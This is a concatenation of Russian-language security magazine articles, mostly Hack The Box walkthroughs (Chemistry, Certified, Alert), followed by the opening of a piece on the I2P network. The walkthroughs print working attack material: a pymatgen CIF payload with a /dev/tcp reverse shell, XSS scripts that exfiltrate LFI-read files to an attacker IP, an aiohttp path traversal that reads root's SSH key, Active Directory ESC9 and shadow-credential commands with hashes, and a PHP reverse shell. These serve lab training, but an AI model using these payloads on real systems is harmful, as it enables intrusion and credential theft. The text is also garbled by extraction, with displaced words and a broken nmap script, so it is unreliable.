Содержимое таблицы wallet_users

Я не нашел способа перебрать хеши с помощью , поэтому восполь‐

зовался скриптом .

hashcat

WerkzeugHashCracker

python3 app.py -w Wordlist/small_rockyou.txt 'pbkdf2:sha256:
600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a
28272c550ed'

Перебор хеша WerkzeugHashCracker

С подобранным паролем удалось расшифровать и данные .Solar-PuTTY

Расшифрованный файл Solar-PuTTY

В файле лежат учетные данные пользователя , и  нам ничто не  мешает
авторизоваться от его имени по SSH.

root

Флаг рута

Машина захвачена!

https://xakep.ru/2025/02/07/file-inclusion-path-traversal/
https://github.com/carlospolop/PEASS-ng
https://github.com/VoidSec/SolarPuttyDecrypt
https://github.com/Mrterrestrial/WerkzeugHashCracker
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ВЗЛОМ

Сегодня эксплуатируем уязвимость про‐
извольного выполнения кода в pymatgen —
библиотеке Python, которая используется
в  материаловедении. Потом получим учет‐
ные данные с хоста на Linux и повысим при‐
вилегии через LFI в aiohttp.

Наша цель  — получение прав суперпользователя на  машине Chemistry
с учебной площадки . Уровень задания — легкий.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.38    chemistry.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел два открытых порта:
22 — служба OpenSSH 8.2p1;•
5000 — веб‑сервер Werkzeug.•

На сайте нас сразу же встречает форма авторизации.

Форма авторизации сайта

ТОЧКА ВХОДА

Регистрируем новую учетную запись, логинимся и  видим форму загрузки
файла CIF.

Форма загрузки файла

К тому же на сайте доступен для скачивания пример такого файла.

Содержимое скачанного файла CIF

Первым делом попробуем загрузить файл любого другого формата. В  этом
случае сервер выдаст ошибку. Видимо, это связано с тем, что файл CIF как‑то
проверяется. А  это значит, что веб‑приложение загружает и  обрабатывает
его.

Ошибка сервера

Формат редкий, а  значит, вряд ли есть много библиотек, которые работают
с  ним. Скорее всего, нужно смотреть в  сторону либ на  Python, поскольку
на нем написан встреченный нами веб‑сервер Werkzeug. Я поискал в Google
подходящие уязвимости.

Поиск эксплоитов в Google

Первая же  сообщает нам о баге в пакете , который исполь‐

зуется для обработки CIF на Python.

ссылка pymatgen

Информация об уязвимости

Метод 

для  обработки данных использует очень опасную функцию , которая

позволяет выполнять код на  Python. Но  из‑за плохой проверки данных,
переданных в функцию, есть возможность выполнить свой произвольный код,
что приводит к RCE на сервере.

JonesFaithfulTransformation.from_transformation_str()
eval()

ТОЧКА ОПОРЫ

В том же репозитории есть и содержимое файла  — это PoC (под‐
тверждение концепции) уязвимости.

vuln.cif

PoC

Воспользуемся этим PoC и  отправим файл, но  нагрузку заменим вот таким
реверс‑шеллом:

 /bin/bash -c 'sh -i >& /dev/tcp/10.10.16.86/4321 0>&1

data_5yOhtAoR

_audit_creation_date            2018-06-08

_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code 
Execution Exploit"

loop_

_parent_propagation_vector.id

_parent_propagation_vector.kxkykz

k1 [0 0 0]


sh  

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().
__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[
"__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].
load_module ("os").system ("/bin/bash -c ' -i >& /dev/tcp/10.10.16.
86/4321 0>&1'");0,0,0'

_space_group_magn.number_BNS  62.448

_space_group_magn.name_BNS  "P  n'  m  a'  "

Загруженные файлы

В таблице на сайте найдем свой файл. Теперь запустим листенер (
) и через кнопку View выполним нагрузку из загруженного CIF.

pwncat-cs
-lp 4321

Сессия пользователя app

Мы получили сессию пользователя, от  имени которого работает веб‑при‐
ложение.

Продолжение статьи
→

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
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ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ПРОДВИЖЕНИЕ

Для повышения привилегий нам нужно найти учетные данные. Так как на хосте
работает веб‑приложение, оно, вероятно, использует базу данных, а значит,
как‑то к  ней подключается и  в исходных кодах можно будет найти учетные
данные от нее.

Давай поищем пароли и секреты в каталоге приложения — ./home/app

Содержимое каталога /home/app

В папке  находим файл базы данных . Инс‐
трумент  позволяет нам его легко скачать. Комбинацией клавиш

Ctrl-D выходим в  основное меню pwncat-cs, затем командой  ска‐

чиваем нужный файл и, введя команду , возвращаемся в сессию на уда‐

ленном хосте.

/home/app/instance database.db
pwncat-cs

download
back

Скачивание файла с удаленного хоста

Файл баз данных я просматриваю через . Из  таблицы 

получаем много логинов и хешей паролей.

DB Browser user

Содержимое таблицы user

Попробуем найти прообразы хешей. Первым делом скопируем и вставим все
хеши в  форму на  сайте . Так получаем пароли пользователей

, ,  и  .

CrackStation

rosa carlos peter victoria

Результат взлома хешей

Из четырех скомпрометированных пользователей учетная запись в  ОС есть
только у  . Это можно узнать из файла .rosa /etc/passwd

bash
cat /etc/passwd | grep 

Пользователи с командной оболочкой

Меняем пользователя, от  имени которого мы работаем, командой 
и получаем новую сессию и первый пользовательский флаг.

su

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и запустим сканирование. В выводе будет много информации, но меня заин‐
тересовали только открытые для локального хоста порты.

Прослушиваемые порты

На порте  8080, скорее всего, работает какое‑то веб‑приложение, но  оно
доступно только с адреса 127.0.0.1, поэтому для доступа к сайту нужно тун‐
нелировать соединение, например с помощью SSH.

ssh rosa@10.10.11.38 -L 8090:127.0.0.1:8080


В результате весь трафик, который мы пошлем на локальный порт 8090, будет
туннелирован на  порт  8080  указанного хоста (в данном случае  127.0.0.1)
через хост SSH.

Теперь можно посмотреть сайт через браузер.

Главная страница сайта

Как показывает , в  качестве веб‑сервера используется aiohttp

3.9.1.

WhatWeb

Результат работы WhatWeb

Ищем известные уязвимости и  готовые эксплоиты для  этого сервера
и находим уязвимость  и сразу же  для нее.CVE-2024-23334 эксплоит

Поиск эксплоитов в Google

При использовании aiohttp в  качестве веб‑сервера и  настройке статических
маршрутов необходимо указать корневой путь для статических файлов. Кро‐
ме того, можно использовать параметр , чтобы определить,
следует ли серверу переходить по  символическим ссылкам за  пределами
статического корневого каталога. Если для  параметра 

установлено значение , проверка того, находится ли файл в  корневом
каталоге, не выполняется. Это приводит к уязвимости — можно выйти за пре‐
делы каталога и  получить доступ к  произвольным файлам в  системе, даже
если символические ссылки отсутствуют.

follow_symlinks

follow_symlinks
True

Справка по эксплоиту

INFO

Подробное объяснение техники path traversal ты
можешь найти в  статье «

».

File Inclusion и  Path
Traversal. Разбираем две базовые веб‑уязвимос‐
ти

В эксплоите, помимо адреса и пути к файлу, который необходимо прочитать,
нужно указать и путь к статически определенному каталогу. Чтобы узнать, что
это за каталог, можно проверить исходный код страницы.

Исходный код страницы

Попробуем в качестве статически заданного каталога использовать 

для получения содержимого файла .

/assets
/etc/passwd

python3 exploit.py -u http://127.0.0.1:8090 -f /etc/passwd -d /assets


Эксплуатация уязвимости

Уязвимость подтверждена, а значит, мы можем прочитать любой файл в сис‐
теме. Проверим, есть ли у рута приватный ключ SSH.

python3 exploit.py -u http://127.0.0.1:8090 -f /root/.ssh/id_rsa -d /
assets


Приватный ключ пользователя

С приватным ключом подключаемся к SSH и забираем последний флаг.

ssh -i id_rsa root@chemistry.htb


Флаг рута

Машина захвачена!

https://crackstation.net/
https://github.com/carlospolop/PEASS-ng
https://github.com/urbanadventurer/WhatWeb
https://nvd.nist.gov/vuln/detail/CVE-2024-23334
https://github.com/wizarddos/CVE-2024-23334
https://xakep.ru/2025/02/07/file-inclusion-path-traversal/
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ВЗЛОМ

Сегодня мы проэксплуатируем цепочку
чрезмерных разрешений и  скомпромети‐
руем служебную учетную запись Active
Directory, а  затем захватим домен, исполь‐
зуя технику ESC9.

Наша цель — получение прав суперпользователя на машине Certified с учеб‐
ной площадки . Уровень сложности задания — средний.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.41    certified.htb


На этот раз, помимо IP-адреса машины, нам также предоставляют учетные
данные с правами пользователя домена.

Информация о машине

И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат сканирования портов

Сканер нашел 11 открытых портов:
88 — служба Kerberos;•
135 — служба удаленного вызова процедур (Microsoft RPC);•
139 — служба сеансов NetBIOS, NetLogon;•
389 — LDAP;•
445 — SMB;•
464 — служба смены пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;•
636 — LDAP с шифрованием SSL или TLS;•
3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;•
3269 (LDAPS)  — для  доступа к  Global Catalog от  клиента к  контроллеру
через защищенное соединение;

•

9389 — веб‑службы AD DS.•

Проверим выданные учетные данные с помощью .NetExec

nxc smb 10.10.11.41 -u judith.mader -p judith09


Результат проверки учетных данных

СБОР ДАННЫХ

Первым делом получим список пользователей (иногда в  описании учетных
записей можно найти много интересного). Для  этого в   есть

параметр .

NetExec

--users

nxc ldap 10.10.11.41 -u judith.mader -p judith09 --users

Список пользователей

Ничего нового не нашли, поэтому соберем базу .BloodHound

Справка: BloodHound
Утилита  использует теорию графов для  выявления скрытых

и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее мож‐
но использовать, чтобы легко идентифицировать очень сложные пути атаки.

BloodHound

Собрать базу можно с помощью того же NetExec, однако для этого требуется
DNS-сервер. Так как  DNS из  лаборатории мне недоступен, я сделаю свой
со всеми необходимыми записями.

[A]

*.certified.htb=10.10.11.41

[SRV]

_ldap._tcp.pdc._msdcs.certified.htb=0 5 389 certified.htb

_ldap._tcp.gc._msdcs.certified.htb=0 5 389 certified.htb

_kerberos._tcp.dc._msdcs.certified.htb=0 5 88 certified.htb


В качестве самого сервера используем , которому передаем файл
с записями для домена.

DNSChef

python3 dnschef.py --file ./certified_dns.txt


Запуск DNSChef

Когда DNS-сервер запущен, указываем его в NetExec.

  All

nxc ldap 10.10.11.41 -u judith.mader -p judith09 --dns-server 127.0.
0.1 --bloodhound -c

Сбор данных BloodHound

Загружаем собранную базу в  BloodHound и  строим граф от  имеющегося
у нас пользователя .judith.mader

Граф BloodHound

У нас есть путь до  учетной записи , давай пройдем по  нему

и скомпрометируем все узлы.

ca_operator

Пользователь management_svc
Для эксплуатации чрезмерных разрешений будем использовать .

Первое разрешение, которым мы воспользуемся, — это   от учет‐

ной записи  на  группу . Так как  мы можем уста‐

новить владельца для группы, назначим им самих себя.

bloodyAD

WriteOwner
JUDITH.MADER MANAGEMENT

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p 
judith09 set owner MANAGEMENT JUDITH.MADER


Изменение владельца группы

Теперь, как владелец объекта, мы можем назначить ему любые права. Выда‐
ем себе все возможные права на группу.

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p 
judith09 add genericAll MANAGEMENT JUDITH.MADER


Назначение прав на группу

Имея права , мы можем добавить любого пользователя в  эту
группу — добавим себя.

GenericAll

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p 
judith09 add groupMember MANAGEMENT JUDITH.MADER


Добавление пользователя в группу

Члены группы  имеют право  на  учетную запись
. Так как  в домене настроен центр сертификации Active

Directory, мы можем воспользоваться техникой Shadow Credentials
для получения сертификата учетной записи . Эта атака поз‐
воляет атакующему завладеть учетной записью пользователя или компьюте‐
ра, если он может изменить атрибут  целевого объ‐

екта и  добавить к  нему альтернативные учетные данные, такие как  сер‐
тификат. Затем по  сертификату пользователя мы получим его билет TGT,
из  которого извлечем NTLM-хеш пароля пользователя. Это  все происходит
автоматически в команде .

MANAGEMENT GenericWrite
MANAGEMENT_SVC

MANAGEMENT_SVC

msDS-KeyCredentialLink

certipy shadow

certipy shadow -u judith.mader@certified.htb -p judith09 -dc-ip 10.
10.11.41 -account MANAGEMENT_SVC auto


Эксплуатация Shadow Credentials

Валидируем полученный хеш с помощью NetExec.

nxc smb 10.10.11.41 -u management_svc -H 
a091c1832bcdd4677c28b5a6a1295584


Проверка учетных данных

Хеш валиден, а  пользователь состоит в  группе ,

поэтому авторизуемся в службе WinRM и читаем первый флаг.

Remote Management Users

evil-winrm -i 10.10.11.41 -u management_svc -H 
a091c1832bcdd4677c28b5a6a1295584


Флаг пользователя

Пользователь ca_operator
Если вернуться к  графу, то увидим, что учетная запись пользователя

 имеет право  на  учетную запись .

Опять воспользуемся техникой Shadow Credentials для получения сертифика‐
та учетной записи .

MANAGEMENT_SVC GenericAll CA_OPERATOR

CA_OPERATOR

certipy shadow -u management_svc@certified.htb -hashes :
a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -account CA_
OPERATOR auto


Эксплуатация Shadow Credentials

Валидируем полученный хеш с помощью NetExec.

nxc smb 10.10.11.41 -u ca_operator -H 
b4b86f45c6018f1b664f70805f45d8f2


Проверка учетных данных

Так мы компрометируем еще одну учетную запись.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Учетная запись имеет говорящее имя, поэтому проверим уязвимые шаблоны
центра сертификации Active Directory при  помощи скрипта . Чтобы

отобразить только те шаблоны, которые можно использовать при эксплуата‐
ции какой‑либо техники, указываем флаг .

Certipy

-vulnerable

 
  

certipy find -u ca_operator@certified.htb -hashes ':
b4b86f45c6018f1b664f70805f45d8f2' -dc-ip 10.10.11.41 -vulnerable
-stdout

Уязвимые шаблоны

Certipy даже обозначил, что шаблон  уязвим к тех‐

нике повышения привилегий ESC9. Так как  у нас есть право 
на учетную запись , мы можем использовать эту технику. Первым

делом изменим  учетной записи 

на  .

CertifiedAuthentication
GenericAll

ca_operator
userPrincipalName ca_operator

Administrator

certipy account update -u management_svc@certified.htb -hashes :
a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -user ca_
operator -upn Administrator


Изменения UPN

Теперь от  имени  запросим сертификат по  шаблону

. Так как  в UPN установлено имя ,
сертификат будет выдан именно на него.

ca_operator
CertifiedAuthentication Administrator

certipy req -u ca_operator@certified.htb -hashes :
b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.10.11.41 -ca certified-
DC01-CA -template CertifiedAuthentication


Запрос сертификата

Когда сертификат получен, вернем значение UPN в исходное состояние.

certipy account update -u management_svc@certified.htb -hashes :
a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -user ca_
operator -upn ca_operator


Изменения UPN

Теперь применяем технику UnPAC The  Hash. По  сертификату получаем TGT-
билет пользователя, а  из него извлекаем NTLM-хеш пароля учетной записи
Administrator. В Certipy все действия автоматизированы.

certipy auth -pfx administrator.pfx -domain certified.htb


Учетные данные пользователя

Осталось получить сессию через  и прочитать последний флаг.Evil-WinRM

evil-winrm -i 10.10.11.41 -u administrator -H 
0d5b49608bbce1751f708748f67e2d34

Флаг рута

Машина захвачена!
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ВЗЛОМ

Сегодня я покажу типичный случай эксплу‐
атации двух распространенных веб‑уяз‐
вимостей  — XSS (межсайтовый скриптинг)
и  LFI (локальное включение файлов). При‐
мером нам послужит уязвимая форма
обработки файлов в  формате Markdown,
а  затем получим исходные коды монито‐
ринга и сделаем себе веб‑шелл в привиле‐
гированном контексте.

Наша цель — получение прав суперпользователя на машине Alert с учебной
площадки . Уровень задания — легкий.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.44    alert.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел два открытых порта:
22 — служба OpenSSH 8.2p1;•
80 — веб‑сервер Apache 2.4.41.•

Посмотрим, что интересного есть на сайте. На главной странице нас встре‐
чает форма загрузки файла. Судя по оглавлению, файл должен быть в фор‐
мате Markdown.

Главная страница сайта

Но первым делом обратим внимание на то, что в параметре указана текущая
страница. Это явный признак того, что здесь может быть уязвимость типа LFI.

INFO

Подробное объяснение техники LFI ты можешь
найти в статье «

».
File Inclusion и Path Traversal. Раз‐

бираем две базовые веб‑уязвимости

ТОЧКА ВХОДА

Проверим наличие LFI, указав в  параметре  путь к  файлу .

Однако страница не найдена.

page /etc/hosts

Проверка LFI

На странице About Us есть интересная информация. Администратор прос‐
матривает файлы Markdown и реагирует на сообщения пользователя.

Страница About Us

Для полноты картины просканируем каталоги.

Справка: сканирование веба c ffuf
Одно из  первых действий при  тестировании безопасности веб‑приложе‐
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде  и  .dirsearch DIRB

Я предпочитаю легкий и  очень быстрый . При  запуске указываем сле‐
дующие параметры:

ffuf

 — словарь (я использую словари из набора );• -w SecLists
 — количество потоков;• -t

 — URL;• -u

 — HTTP-заголовок.• -H

Место перебора помечается словом FUZZ.

Запускаем , прописав все параметры:ffuf

ffuf   
 128


-u http://alert.htb/ -H 'Host: FUZZ.alert.htb' -w subdomains-
top1million-110000.txt -t

Результат сканирования поддоменов

В вывод попадают абсолютно все варианты из списка, поэтому необходимо
установить фильтр по коду ответа (параметр ).-fс

ffuf   
 128  301


-u http://alert.htb/ -H 'Host: FUZZ.alert.htb' -w subdomains-
top1million-110000.txt -t -fc

Результат сканирования поддоменов

Нашли один новый поддомен  — , поэтому обновляем запись
в файле  и просматриваем новый сайт. Однако там нас встречает

HTTP-аутентификация.

statistics
/etc/hosts

10.10.11.44 statistics.alert.htb alert.htb

HTTP-аутентификация

Сканирование страниц через параметр  показывает новый файл

.

page
messages

ffuf   
 128


-u 'http://alert.htb/index.php?page=FUZZ' -w directory_2.3_
medium_lowercase.txt -t

Результат сканирования каталогов

Найденная страница ничего не возвращает.

Содержимое страницы messages

ТОЧКА ОПОРЫ

XSS
Первым делом я отправил в форму Contact Us XSS-нагрузку, но никакого зап‐
роса на мой веб‑сервер не пришло.

<script>
fetch("http://10.10.16.33:8000/test_xss");
</script>

Страница Contact Us

Но если отправить обычную ссылку ,

то в логах сервера можно обнаружить входящий запрос.

http://10.10.16.33:8000/test_link

Логи веб‑сервера

Если в  файл  поместить предыдущую нагрузку, а  затем снова

отправить ссылку, то пользователь по  ней перейдет, но  скрипт выполнен
не будет. Тогда поищем другой эндпоинт, например в форме загрузки фай‐
лов Markdown. Загрузим в форму файл с нагрузкой, которая выполняет зап‐
рос на листенер . В листенер прилетает запрос, но с нашего же адре‐

са.

test_link

netcat

<script>
fetch("http://10.10.16.33:8000/test_xss_md");
</script>

Логи листенера

На странице есть возможность расшарить документ по  ссылке. Если отпра‐
вить эту ссылку в  форме Contact Us, в  логах листенера можно будет обна‐
ружить запрос, но  уже с  удаленного сервера. Таким образом, нам удалось
выполнить нагрузку из файла.

Страница visualizer.php

Логи листенера

Попробуем через XSS выполнить запрос к  странице , так

как она была недоступна. Ответ сервера закодируем в URIencode и отправим
на наш листенер в параметре .

messages.php

d

<script>
fetch("http://alert.htb/messages.php")
   .then(response => response.text())
   .then(data => {
     fetch("http://10.10.16.33:8000/?d=" + encodeURIComponent(data));
 });
</script>

Логи сервера

Декодировать данные можно на сайте .urldecoder

Декодированные данные

На странице всего одна ссылка на  , но  в этот раз задан
параметр .

messages.php
file

LFI
Возможно, на странице  есть LFI. Попробуем получить содер‐

жимое файла . Заново проделываем все шаги для  доставки

новой нагрузки пользователю и  в логах веб‑сервера видим большой объем
данных. При декодировании узнаем файл .

messages.php
/etc/passwd

/etc/passwd

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../../../
etc/passwd")
   .then(response => response.text())
   .then(data => {
     fetch("http://10.10.16.33:8000/?d=" + encodeURIComponent(data));
 });
</script>

Логи веб‑сервера

Декодирование данных

LFI подтвердилась, а значит, мы можем читать файлы на сервере. Так как там
есть второй сайт, спрятанный за авторизацией, нужно определить путь к его
рабочему каталогу. Для этого прочитаем файл с настройками Apache 

.

/etc/
apache2/sites-enabled/000-default.conf

Содержимое файла конфигураций Apache

В конфиге указан файл авторизации пользователей 
. В  данном файле хранится логин и  хеш пароля

для доступа к сайту.

/var/www/statistics.
alert.htb/.htpasswd

Содержимое файла .htpasswd

Пароль легко подбирается с помощью легендарного .John the Ripper

john --wordlist=rockyou.txt --format=md5crypt-long hash.txt


Результат брута хеша

Полученные учетные данные не только подходят для сайта, но и дают доступ
к SSH.

Флаг пользователя

Сразу обратим внимание, что пользователь состоит в группе .management

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и запустим сканирование. Посмотрим, что нашел скрипт.

В дереве процессов находим процесс php, который слушает
порт 127.0.0.1:8080. Корневой каталог указан как  ./opt/website-monitor

Дерево процессов

Порт 8080 действительно прослушивается на сервере, а в каталоге  есть

упомянутая папка.

/opt

Прослушиваемые на сервере порты

Содержимое каталога /opt

Проверим найденное приложение. Для  этого нужно будет прокинуть
порт 8080 на свой хост с помощью SSH.

ssh -L 8080:127.0.0.1:8080 albert@alert.htb


После запуска этой команды весь трафик, который мы пошлем на локальный
порт 8080, будет туннелирован на порт 8080 указанного хоста (в данном слу‐
чае 127.0.0.1) через SSH-хост. Теперь подключимся к порту.

Главная страница сайта

Проверяем содержимое каталога с  веб‑приложением и  видим, что членам
группы  доступна запись в каталог .management config

Содержимое каталога /opt/website-monitor

В  всего один файл, который ничего не отображает на странице.config

Содержимое каталога config

Ответ сервера

Так как  мы имеем право записи в  этот каталог, просто сохраним в  нем 
. В  шелле предварительно пропишем свой адрес и  порт

для подключения.

ре‐
верс‑шелл на  PHP

Содержимое файла rs.php

Теперь открываем листенер ( ) и  обращаемся

к реверс‑шеллу через браузер. В окне листенера моментально появится сес‐
сия в контексте .

rlwrap nc -nlvp 4321

root

Флаг рута

Машина захвачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://xakep.ru/2025/02/07/file-inclusion-path-traversal/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://www.urldecoder.org/
https://www.openwall.com/john/
https://github.com/carlospolop/PEASS-ng
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
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ПРИВАТНОСТЬ

I2P — это не просто «глубинный интернет»,
это  полноценный андеграунд для  тех, кто
желает избежать слежки, предлагающий
анонимность без  компромиссов. В  этой
статье мы посмотрим, что творится сегодня
в  этой сети, как  ее ломают и  стоит ли
нырять в  эту кроличью нору. Готовь тер‐
минал — будет жарко!

Сегодня мы заглянем в  темные глубины интернета, где обычные браузеры
теряют сигнал, а анонимность — не просто модное слово, а жизненно важная
штука. В центре внимания — I2P, сеть, которую называют «младшим братом
Tor», хотя она давно играет по своим собственным правилам. Мы разберем,
что творится с I2P в 2025 году, сравним ее с Tor и другими собратьями, рас‐
скажем про  известные уязвимости и  покажем, как  настроить собственный
узел. А в конце решим, стоит ли оно того, или лучше остаться с Tor.

I2P: НЕ TOR, А СОВСЕМ ДРУГОЕ КИНО

I2P (Invisible Internet Project)  — децентрализованная сеть‑оверлей поверх
обычного интернета. Tor строит цепочки из трех узлов (вход, середина, выход)
для анонимного доступа к «большому» вебу и .onion-сайтам. I2P — замкнутая
экосистема: здесь существуют свои собственные eepsites на  доменах ,

имиджборды, торренты, чаты, файлообменники. Вместо DNS  — криптогра‐
фические ключи и  адресные книги. Выхода наружу нет  — это  не прокси,
а отдельный замкнутый мир.

.i2p

Новички ошибаются: ставят Tor Browser, выходят в  клирнет и  думают, что
стали невидимками. Ага, щас. Выходные узлы Tor мониторят все кому не лень,
от хакеров до спецслужб, а сайты собирают отпечатки (User Agent, шрифты,
разрешение). В 2025 году это прямой путь к деанону. I2P говорит: «живи внут‐
ри сети», ее чесночная маршрутизация шифрует данные в  слои, разбивает
на  куски и  гоняет через однонаправленные туннели  — каждый отвечает
за свой участок, а не за всю цепочку, как в Tor. Это мешает correlation-атакам,
но вот насколько защищает — об этом мы поговорим дальше.

ЧТО ВНУТРИ I2P В 2025 ГОДУ?

С 2019 года I2P не превратилась в даркнет‑гигант, но заметно окрепла. Пор‐
тал  оценивает объем сети в 12 тысяч активных узлов в 2025 году.

Что там творится? F*ck Society живет  — здесь появляется  300–400  постов
в месяц про политику и запрещенку, хотя троллей там тоже немало. DarkHub
растет: в марте 2025-го там разобрали уязвимость Wear OS 6 (50+ тредов).
FreeVoice публикует новости — их читает около 200 юзеров ежедневно.

Stats.i2p

Социалки в  I2P тоже есть. Есть Onelon  — аскетичный «Фейсбук без  тре‐
керов», но  с дизайном из  нулевых, который многих отпугивает. ShadowNet
собрал  700  юзеров к  апрелю  2025-го благодаря голосовым чатам, если
верить тому, что пишет админ @DarkVoice на  .planet.i2p

Очень популярен файлообмен: ресурс «Схоронил» предлагает пиратку —
по  данным , ежемесячно юзеры скачивают поряд‐

ка  10  Тбайт подобного контента. Зеркала RuTor держат трафик для  СНГ,
ChinaShadow тоже вырос  — на  сегодняшний день там насчитывается око‐
ло  500  раздач. «Православный торрент» удивляет: здесь собрано  20  Гбайт
аудиокниг по истории.

i2p-projekt.i2p

Хакерское подполье представлено скромнее, чем в  Tor, но, например,
форум I2P-Hack кипит: тут появляется  60  тем в  месяц, включая обсуждение
эксплоита для IoT-камер на Android 15 (CVE-2024-29876) и обход Play Integrity
API.

Важно знать, какую роль играют в  жизни сообщества floodfill-узлы:
это  роутеры, которые держат базу данных сети. Их можно сравнить со  сво‐
еобразными справочниками даркнета: floodfill-узлы знают, где лежат .i2p-сай‐
ты (LeaseSet’ы) и  как найти другие узлы (RouterInfo). Без  них сеть попросту
развалилась бы — никто бы не понял, куда направлять трафик. Поэтому, под‐
ключившись к  I2P, придется подождать, пока карта сети построится, ведь
только тогда сайты начнут открываться.

Старейший IRC-сервер I2P

АТАКИ НА I2P: КАК ЛОМАЮТ СЕТЬ

I2P прячет трафик в  чесночные слои и  гоняет через туннели, которые
обновляются каждые десять минут. Это не Tor с его тремя узлами — тут слож‐
нее подглядеть, кто с кем общается. Но злоумышленники не спят, и в их рас‐
поряжении имеется целый арсенал атак на эту инфраструктуру.

Взломать I2P нелегко. Да, атак мало, и они жрут кучу ресурсов, но все же
существуют. Как  и в  Tor, их можно поделить на  несколько типов. Разберем,
